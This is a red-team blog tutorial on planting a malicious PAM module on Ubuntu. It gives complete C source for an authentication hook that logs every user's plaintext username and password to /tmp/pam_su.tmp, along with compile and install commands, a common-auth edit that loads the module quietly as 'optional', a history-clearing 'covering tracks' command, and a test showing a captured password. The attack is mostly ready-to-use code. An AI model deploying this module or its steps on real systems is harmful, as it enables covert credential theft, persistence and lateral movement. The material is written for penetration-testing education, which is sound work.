Synopsis
Since its inception in 1997, PAM (Pluggable Authentication Modules) have served as a library for enabling local system administrators to choose how individual applications authenticate users. A PAM module is a single executable binary file that can be loaded by the PAM interface library, which is configured locally with a system file, /etc/pam.conf, to authenticate a user request via the locally available authentication modules. The modules themselves will usually be located in the directory /lib/security or the /usr/lib64/security directory depending on architecture and operating system, and take the form of dynamically loadable object files.
In this guide, we will discuss how these modules can be harnessed to create malicious binaries for capturing credentials to use in persistence, privilege escalation, and lateral movement.
PAM Components
As we manipulate authentication programs, here are the useful file locations for different PAM components:
/usr/lib64/security
A collection of PAM libraries that perform various checks. Most of these modules have man pages to explain the use case and options available.
root@salsa:~# ls /usr/lib64/security
pam_access.so pam_faillock.so pam_lastlog.so pam_nologin.so pam_setquota.so pam_tty_audit.so
pam_cap.so pam_filter.so pam_limits.so pam_permit.so pam_shells.so pam_umask.so
pam_debug.so pam_fprintd.so pam_listfile.so pam_pwhistory.so pam_sss_gss.so pam_unix.so
pam_deny.so pam_ftp.so pam_localuser.so pam_pwquality.so pam_sss.so pam_userdb.so
pam_echo.so pam_gdm.so pam_loginuid.so pam_rhosts.so pam_stress.so pam_usertype.so
pam_env.so pam_gnome_keyring.so pam_mail.so pam_rootok.so pam_succeed_if.so pam_warn.so
pam_exec.so pam_group.so pam_mkhomedir.so pam_securetty.so pam_systemd.so pam_wheel.so
pam_extrausers.so pam_issue.so pam_motd.so pam_selinux.so pam_time.so pam_xauth.so
pam_faildelay.so pam_keyinit.so pam_namespace.so pam_sepermit.so pam_timestamp.so
/etc/pam.d
A collection of configuration files for applications that call libpam. These files define which modules are checked, with what options, in which order, and how to handle the result. These files may be added to the system when an application is installed and are frequently edited by other utilities.
root@salsa:~# ls /etc/pam.d/
chfn common-session gdm-launch-environment login runuser su-l
chpasswd common-session-noninteractive gdm-password newusers runuser-l
chsh cron gdm-smartcard other sshd
common-account cups gdm-smartcard-pkcs11-exclusive passwd su
common-auth gdm-autologin gdm-smartcard-sssd-exclusive polkit-1 sudo
common-password gdm-fingerprint gdm-smartcard-sssd-or-password ppp sudo-i
/etc/security
A collection of additional configuration files for specific modules. Some modules, such as pam_access and pam_time, allow additional granularity for checks. When an application configuration file calls these modules, the checks are completed using the additional information from its corresponding supplemental configuration files. Other modules, like pam_pwquality, make it easier for other utilities to modify the configuration by placing all the options in a separate file instead of on the module line in the application configuration file.
root@salsa:~# ls /etc/security/
access.conf faillock.conf limits.conf namespace.conf namespace.init pam_env.conf sepermit.conf
capability.conf group.conf limits.d namespace.d opasswd pwquality.conf time.conf
/var/log/secure
Most security and authentication errors are reported to this log file. Permissions are configured on this file to restrict access.
Developing the Malicious Module
For this demonstration, imagine that you have gained access to a Linux system, discovering a misconfigured cronjob that allowed you to escalate privileges to root. To laterally move throughout the network, you want to capture credentials of legitimate users who occasionally log into the system. To achieve this, we will craft a PAM to capture and output the credentials of the user to a tmp file.
After conducting initial reconnaissance, we identify that the system is running Ubuntu 22.04:
root@salsa:~# unset HISTSIZE HISTFILESIZE HISTFILE # Covering tracks
root@salsa:~# uname -a
Linux salsa 6.2.0-37-generic #38~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 2 18:01:13 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Because this device is x86_64 and running Ubuntu, research reveals that the modules are located within the /usr/lib/x86_64-linux-gnu/security/ directory. With this in mind, we can begin to craft our executable using C. The following code captures and outputs credentials to a tmp file:
#include <security/pam_appl.h>
#include <stdio.h>
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *username;
const char *password;
// Get the username and password
if (pam_get_user(pamh, &username, "Username: ") != PAM_SUCCESS) {
return PAM_AUTH_ERR;
}
if (pam_get_authtok(pamh, PAM_AUTHTOK, &password, "Password: ") != PAM_SUCCESS) {
return PAM_AUTH_ERR;
}
// Write creds to a tmp file
FILE *file = fopen("/tmp/pam_su.tmp", "a");
if (file != NULL) {
fprintf(file, "Username: %s\nPassword: %s\n\n", username, password);
fclose(file);
} else {
return PAM_AUTH_ERR;
}
return PAM_SUCCESS;
}
int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
To compile the binary, we can make use of gcc and libpam0g-dev to build the PAM module:
gcc -fPIC -fno-stack-protector -c pam_su.c
Now that we have created the binary, we can link it with PAM without having to restart the system:
ld -x --shared -o /usr/lib/x86_64-linux-gnu/security/pam_su.so pam_su.o
Now that the binary is created and linked, we will edit the PAM configuration file /etc/pam.d/common-auth to include our malicious module. This specific file is used to define authentication-related PAM modules and settings that are common across multiple services, whether this be SSH, LDAP, or even VNC. Instead of duplicating authentication configurations in each individual service file, administrators centralize common authentication settings in this file.
root@salsa:~# vim /etc/pam.d/common-auth
#
# /etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.). The default is to use the
# traditional Unix authentication mechanisms.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules. See
# pam-auth-update(8) for details.
# here are the per-package modules (the "Primary" block)
auth [success=2 default=ignore] pam_unix.so nullok
auth [success=1 default=ignore] pam_sss.so use_first_pass
# here's the fallback if no module succeeds
auth requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth required pam_permit.so
# and here are more per-package modules (the "Additional" block)
auth optional pam_cap.so
auth optional pam_su.so
# end of pam-auth-update config
Within this file, we can inconspicuously add our optional authentication module as it is not required to succeed for authentication to occur. With this in place, we can monitor the /tmp/pam_su.tmp for new logins. To test the module, I created a new user named sysadmin and logged in via SSH:
➜ ~ ssh sysadmin@10.0.0.104
sysadmin@10.0.0.104's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
$ cat /tmp/pam_su.tmp
Username: sysadmin
Password: hacked
Conclusion
I hope that this guide was an informative journey to improving your penetration testing and red-teaming skills. If you have any questions, enjoyed the content, or would like to check out more of my research, feel free to visit my GitHub.
Important
Hey, I'm RoseSecurity!
I write Infrastructure-as-Code and automation to help startups and established companies quickly and securely build their cloud environments, but when I'm not building cloud networks, you can catch me conducting security research to identify modern tactics, techniques, and procedures used by malicious actors.
If you enjoy my code, blogs, or tools, feel free to reach out and connect!
- Upgrading GitLab CI/CD Authentication: Migrating to OIDC for Google Cloud
- Crafting Malicious Pluggable Authentication Modules for Persistence, Privilege Escalation, and Lateral Movement
- Boost Your Productivity with Terraform Autocompletion in Vim
- Leveraging GitHub Actions for Automated Active Reconnaissance
- Creative C2 Obfuscation: CloudFronting Through Firewalls and Hiding in Plain PCAP
Top comments (0)